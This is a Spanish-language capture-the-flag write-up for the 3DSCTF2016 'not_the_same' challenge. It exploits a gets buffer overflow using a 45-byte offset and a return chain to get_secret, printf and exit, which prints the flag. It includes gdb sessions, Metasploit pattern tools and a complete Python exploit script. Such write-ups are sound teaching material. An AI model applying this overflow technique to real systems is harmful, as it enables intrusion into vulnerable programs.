3DSCTF2016 - Solucion-not_the_same

Published on:

Con el strings ves que hay un flag.txt y una variable fl4g

strings not_the_same | grep flag
flag.txt
strings not_the_same | grep fl4g
fl4g

También hay una función interesante:

objdump -M intel -S not_the_same | grep secret
080489a0 <get_secret>:

Creamos el fichero flag.txt con el texto que queramos dentro.

cat flag.txt 
FlagInventada

"Peta" con un offset de 45.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

>>> r
Starting program: /root/Documents/3DSCTF/not_the_same 
b0r4 v3r s3 7u 4h o b1ch4o m3m0... Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
Traceback (most recent call last):
  File "<string>", line 764, in lines
  File "<string>", line 127, in run
gdb.error: No function contains program counter for selected frame.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "<string>", line 249, in on_stop
  File "<string>", line 300, in build
  File "<string>", line 782, in lines
gdb.MemoryError: Cannot access memory at address 0x41356241
0x41356241 in ?? ()

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 0x41356241
[*] Exact match at offset 45

Pones un breakpoint en el main *0x08048a00, después de llamar a la función gets

0x080489e0   33 sym.main     |           ; var int local_fh @ esp+0xf
0x080489e0   sub esp, 0x3c
0x080489e3   mov dword [esp], str.b
0x080489ea   call sym.__printf
0x080489ef   lea eax, dword [esp +
0x080489f3   mov dword [esp], eax
0x080489f6   call sym.gets
0x080489fb   xor eax, eax
0x080489fd   add esp, 0x3c
0x08048a00   ret

Introducir el offset ('A'*45)

python -c "print 'A'*45"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Apuntas a la funcion get_secret en $esp:

set {int}0xbffff34c = 0x080489a0 (siendo 0xbffff34c el valor de $esp, cambiar si no coincide)

Pones un breakpoint en get_secret *0x080489de, después de haber cargado el valor del fichero flag.txt en la posición de memoria fl4g:

disas get_secret:
Dump of assembler code for function get_secret:
   0x080489a0 <+0>:   push   esi
   0x080489a1 <+1>:   sub    esp,0x18
   0x080489a4 <+4>:   mov    DWORD PTR [esp+0x4],0x80cf91b
   0x080489ac <+12>:  mov    DWORD PTR [esp],0x80bc2a8
   0x080489b3 <+19>:  call   0x804f710 <fopen>
   0x080489b8 <+24>:  mov    esi,eax
   0x080489ba <+26>:  mov    DWORD PTR [esp+0x8],esi
   0x080489be <+30>:  mov    DWORD PTR [esp+0x4],0x2d
   0x080489c6 <+38>:  mov    DWORD PTR [esp],0x80eca2d
   0x080489cd <+45>:  call   0x804f4c0 <fgets>
   0x080489d2 <+50>:  mov    DWORD PTR [esp],esi
   0x080489d5 <+53>:  call   0x804f190 <fclose>
   0x080489da <+58>:  add    esp,0x18
   0x080489dd <+61>:  pop    esi
   0x080489de <+62>:  ret    
End of assembler dump.

0x80eca2d <fl4g>: 0x67616c46  0x65766e49  0x6461746e  0x00000a6f

Llamas al printf y pasas la dirección de fl4g:

set {int}0xbffff350 = 0x0804f0a0 --> Llamada a printf
set {int}0xbffff354 = 0x0804e660 --> Aquí podría ponerse la llamada a la función exit para que sea más elegante (0x0804e660)
set {int}0xbffff358 = 0x080eca2d --> Dirección de fl4g
    
disas printf
Dump of assembler code for function printf:
   0x0804f0a0 <+0>:   sub    esp,0xc
   0x0804f0a3 <+3>:   lea    eax,[esp+0x14]
   0x0804f0a7 <+7>:   sub    esp,0x4
   0x0804f0aa <+10>:  push   eax
   0x0804f0ab <+11>:  push   DWORD PTR [esp+0x18] --> Aquí es donde coge el valor de la variable fl4g
   0x0804f0af <+15>:  push   DWORD PTR ds:0x80eb4b8
   0x0804f0b5 <+21>:  call   0x807f280 <vfprintf>
   0x0804f0ba <+26>:  add    esp,0x1c
   0x0804f0bd <+29>:  ret    
End of assembler dump.

disas exit
Dump of assembler code for function exit:
   0x0804e660 <+0>:   sub    esp,0xc
   0x0804e663 <+3>:   push   0x1
   0x0804e665 <+5>:   push   0x1
   0x0804e667 <+7>:   push   0x80eb070
   0x0804e66c <+12>:  push   DWORD PTR [esp+0x1c]
   0x0804e670 <+16>:  call   0x804e540 <__run_exit_handlers>
End of assembler dump.

En la pila tiene que quedar algo como esto antes de llamar al ret de get_secret:

>>> x/32xw $esp-16
0xbffff340: 0x41414141  0x41414141  0x41414141  0x080eb00c
0xbffff350: 0x0804f0a0  0x0804e660  0x080eca2d  0xbffff374
0xbffff360: 0x00000000  0x00000001  0xbffff404  0x080489e0
0xbffff370: 0x00000000  0x0804818c  0x080eb00c  0x49656e69

El payload quedaría así gráficamente:

Pila Función
45*A offset
0x080489a0 get_secret
0x0804f0a0 printf
0x0804e660 exit
0x080eca2d addr fl4g

Archivo final para explotar:

#!/usr/bin/env python

# Archivo pwn_not_the_same.py


# offset

buf='A'*45
# get_secret

retn1 = "\xa0\x89\x04\x08"
# printf

retn2 = "\xa0\xf0\x04\x08"
# exit

retn3 = "\x60\xe6\x04\x08"
# fl4g address

retn4 = "\x2d\xca\x0e\x08"

print buf+retn1+retn2+retn3+retn4

# Fin fichero pwn_not_the_same

Se prueba con:

python pwn_not_the_same.py > file.txt
./not_the_same < file.txt

Notas varias

  Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x08048a00 <main+32>
breakpoint already hit 1 time
3       breakpoint     keep y   0x080489de <get_secret+62>
   

x/32xw $esp-16
0xbffff340: 0x41414141  0x41414141  0x41414141  0x080eb00c
0xbffff350: 0x0804f0a0  0x080eca2d  0x080eca2d  0xbffff374
0xbffff360: 0x00000000  0x00000001  0xbffff404  0x080489e0
0xbffff370: 0x00000000  0x0804818c  0x080eb00c  0x49656e69